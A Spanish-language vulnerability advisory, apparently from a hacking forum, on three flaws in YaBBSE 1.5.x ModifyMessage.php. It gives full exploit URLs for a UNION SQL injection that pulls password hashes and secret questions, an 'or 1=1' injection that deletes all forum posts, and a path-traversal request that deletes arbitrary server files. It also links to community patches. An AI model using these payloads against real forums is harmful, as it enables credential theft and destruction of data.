Informe de varios agujeros en YaBBSe 1.5.4, 1.5.5 y YaBBSe 1.5.5b
probablemente anteriores versiones son vulnerables.Los agujeros se encuentran en el fichero ModifyMessage.php
EL HUECOel primer agujero es una inyección SQL, debido a que en la función
ModifyMessage no se chequea el parámetro $msg para que no contenga
valores no válidos.
Alcance de la vulnerabilidad.
Extracción de información de la base de datos.Como explotar la vulnerabilidad:1- Necesitas ser un usuario registrado y necesitas conocer el prefijo
de la base de datos. Por defecto es yabbse_
2- Entra en cualquier board. ej. Dudas Generales
3- Entra en cualquier mensaje.ej. POSTS MOVIDOS
4- Ahora podemos hacer varias cosas por ejemplo usar el botón "cita:"
o mirar el código fuente en busca de la variable sesc.
5- Luego modificamos la URL para que quede algo parecido a esto:
http://vulnhost/foro/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*
Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URLhttp://vulnhost/foro/index.php?board=1;action=modify;threadid=1;quote=1;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;msg=-12[Numero negativo para que no nos devuelva ningún mensaje])+UNION+SELECT+3[ID del mensaje puede ser cualquier cosa],null,2[Nuestro ID de usario],concat(passwd,%27-%27,secretQuestion),null,null,null,null,null,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1[ID del usuario del que extraeremos el hash y la pregunta secreta]/*
y ya está. En el campo subject del formulario nos aparece
el hash del password nuestra pregunta secreta ej.
e320774659b1b23333bd033754d2ac1a-color negro.
Porque sucede esto:Al no ser chequeada la variable $msg, esta se inserta en la sentencia SQL
$request = mysql_query("SELECT m.*, t.locked FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t WHERE (m.ID_MSG=$msg AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;") or database_error(__FILE__, __LINE__);
con el parámetro msg que le pasamos a la URL anterior
msg=-12)+UNION+SELECT+3,null,2,concat(passwd,%27-%27,secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null+FROM+yabbse_members+where+ID_MEMBER=1/*
la sentencia SQL nos queda asi.
SELECT m.*, t.locked FROM yabbse_messages AS m, yabbse_topics AS t WHERE (m.ID_MSG=-12) UNION
SELECT 3,null,2,concat(passwd,'-',secretQuestion),null,null,null,null,1,null,null,null,null,null,null,null
FROM yabbse_members where ID_MEMBER=1/* AND m.ID_TOPIC=t.ID_TOPIC) LIMIT 1;
todo lo que queda detrás de /* se omite, esto es una característica del MySQL.
EL HUECO RELOADEDel segundo agujero es otra inyección SQL, en la función ModifyMessage2.
No se chequea el parámetro $postid
Alcance de la vulnerabilidad.
Borrado de datos.1- Necesitas ser un usuario registrado. Y necesitas haber posteado el ultimo mensaje.
2- Ve a tu mensaje y pulsa el botón modify
3- Tendrás algo parecido a esto
http://vulnhost/foro/index.php?board=1;action=modify;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a14- Cambiar donde dice action=modify por action=modify2 y agregar tres variables nuevas
subject=texto, message=texto y waction=deletemodify
5- Agregar el postid vulnerable: postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*
nos quedará:
http://localhost/yabbse/yabbse155/index.php?board=1;action=modify2;msg=2;threadid=2;start=0;sesc=aae1f7d45d5e54c853e9e2314fb982a1;subject=hola;message=hola;waction=deletemodify;postid=1+or+1=1+ORDER+BY+ID_MSG+DESC/*Esto borrará todos los mensajes del foro.
Porque sucede esto:Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL
$request = mysql_query("
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b
WHERE m.ID_MSG=$postid
AND t.ID_TOPIC=m.ID_TOPIC
AND b.ID_BOARD=t.ID_BOARD
LIMIT 1;"
la sentencia SQL con nuestra modificación queda asi:
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG,
t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
WHERE m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;
todo lo que queda detrás de /* se omite
Necesitamos que nuestro mensaje sea el último para que funcione nuestra inyección ya que
sino, no funcionaria esta parte m.ID_MSG=1 or 1=1 ORDER BY ID_MSG DESC y necesitamos el "or 1=1" en
otra sentencia para que borre todos los mensajes.Al hacer el "ORDER BY ID_MSG DESC" nos aseguramos que el chequeo:
if ($row['ID_MEMBER'] != $ID_MEMBER && $settings[7] != 'Administrator' && $settings[7] != 'Global Moderator' && !in_array($username, $moderators))
fatal_error($txt[67]);
sea correcto y podamos seguir adelante. Una vez conseguido esto, se borra nuestro mensaje
ya que se hacen deletes con el primer resultado de la sentencia anterior que como le pusimos el
ORDER DESC será nuestro mensaje. Y luego se llega a la parte que nos interesa que es la que causa
la vulnerabilidad.
$request = mysql_query("DELETE FROM {$db_prefix}messages WHERE ID_MSG=$postid LIMIT 1;")
Aqui se le pasa nuestro postid y la sentencia final quedará asi:
DELETE FROM yabbse_messages WHERE ID_MSG=2 or 1=1 ORDER BY ID_MSG DESC/* LIMIT 1;
que es una sentencia totalmente legal y lo que hace es borrar todos los mensajes
de la base de datos.
EL HUECO REVOLUTIONSEl tercer agujero es otra vulnerabilidad en la misma función. Esta vez es utilizando
la vulnerabilidad anterior del $postid y ademas porque se asume que la variable
$attachOld es buena y que viene de un formulario anterior.
Ocurre porque en la funcionalidad de borrar attachments de mensajes no se chequea
que el fichero a borrar se encuentre dentro del path de los attachments. Esta
vulnerabilidad es la mas grave de las tres porque te permite borrar cualquier fichero
conociendo el path, pero ademas te puede dar informacion acerca de la estructura de
directorios del servidor.
Alcance de la vulnerabilidad.
Borrado de ficheros y extracción de informacion de directorios.Como explotar la vulnerabilidad:1- Necesitas ser un usuario registrado. Y saberte tu id de usuario.
2- Si tienes un mensaje posteado ve a ese mensaje y pulsa modify, si no tienes
un mensaje ve a otro cualquiera y pulsa "cita".
Para continuar necesitaras un proxy tipo Paros o Achilles. También lo puedes hacer
de otro modo pero es mas fastidioso asi que lo explico a lo fácil. Con el paros chequea
el Trap Request.
3- Presiona el preview y ahora vete al paros y en la linea donde dice
POST /foro/index.php?board=1;action=post2 HTTP/1.0
cambialo por
POST /foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt;subject=hola;message=hola;postid=-1+UNION+SELECT+null,3,null,null,null,null,null,null,null,null,null,null/* HTTP/1.0
si te sale un error de Bases de Datos es porque el fichero se ha borrado correctamente.
Si no se pudo borrar te saldrá un error parecido a esto.
2: unlink(C:/xampp/htdocs/yabbse/yabbse155/attachments/../../../../borrame.txt): No such file or directory
(C:\xampp\htdocs\yabbse\yabbse155\Sources\ModifyMessage.php ln 319)
Fijense que muestra la estructura de directorios. Información muy
valiosa.
Explicación de los parámetros lo que esté entre [] son comentarios y hay que quitarlos de la URL
/foro/index.php?board=1;action=modify2;delAttach=on;attachOld=../../../../borrame.txt[Camino del fichero a borrar];subject=hola;message=hola;postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*
Porque sucede esto:Al no ser chequeada la variable $postid, esta se inserta en la sentencia SQL
$request = mysql_query("
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG, t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM {$db_prefix}messages AS m, {$db_prefix}topics AS t, {$db_prefix}boards AS b
WHERE m.ID_MSG=$postid
AND t.ID_TOPIC=m.ID_TOPIC
AND b.ID_BOARD=t.ID_BOARD
LIMIT 1;"
la sentencia SQL con nuestra modificación queda asi:
SELECT m.ID_MSG, m.ID_MEMBER, m.attachmentSize, m.attachmentFilename, t.locked, t.ID_FIRST_MSG, t.ID_LAST_MSG,
t.ID_TOPIC, t.ID_POLL, t.numReplies, b.ID_BOARD, b.count
FROM yabbse_messages AS m, yabbse_topics AS t, yabbse_boards AS b
WHERE m.ID_MSG=-1 UNION SELECT null,3,null,null,null,null,null,null,null,null,null,null
/* AND t.ID_TOPIC=m.ID_TOPIC AND b.ID_BOARD=t.ID_BOARD LIMIT 1;
el -1 hace que no nos devuelva nada legal y el
postid=-1+UNION+SELECT+null,3[TU ID de usuario],null,null,null,null,null,null,null,null,null,null/*
hace que el resultado sea el que nosotros queremos, la ventaja es que no tenemos que conocer l prefijo
de la base de datos, ya que SELECT null,3,null,null,null,null,null,null,null,null,null,null es una
sentencia perfectamente legal en MySQL que devuelve parámetros estáticos.
Estado del vendedor:Viendo como se comportaron los desarrolladores de YabbSE la última vez
que les mandé un informe de vulnerabilidad, que en un mes no hicieron
nada por sacar un parche de una línea de código y lo sacaron varios
dias despues de que fuera publicada la vulnerabilidad. Además viendo
como se dedicaron a borrar todos los post en su foro que hablaban del tema.
Hemos decidido sacar un parche por nuestra cuenta y pasar de avisarles de nada.
Los parches pueden ser descargados de:
http://foro.elhacker.net/attachments/yabbse1.5.5patch.rar
http://www.SPAM(62)/Dowmload/yabbse1.5.5patch.rar
Créditos para:
Alnitak y BackSpace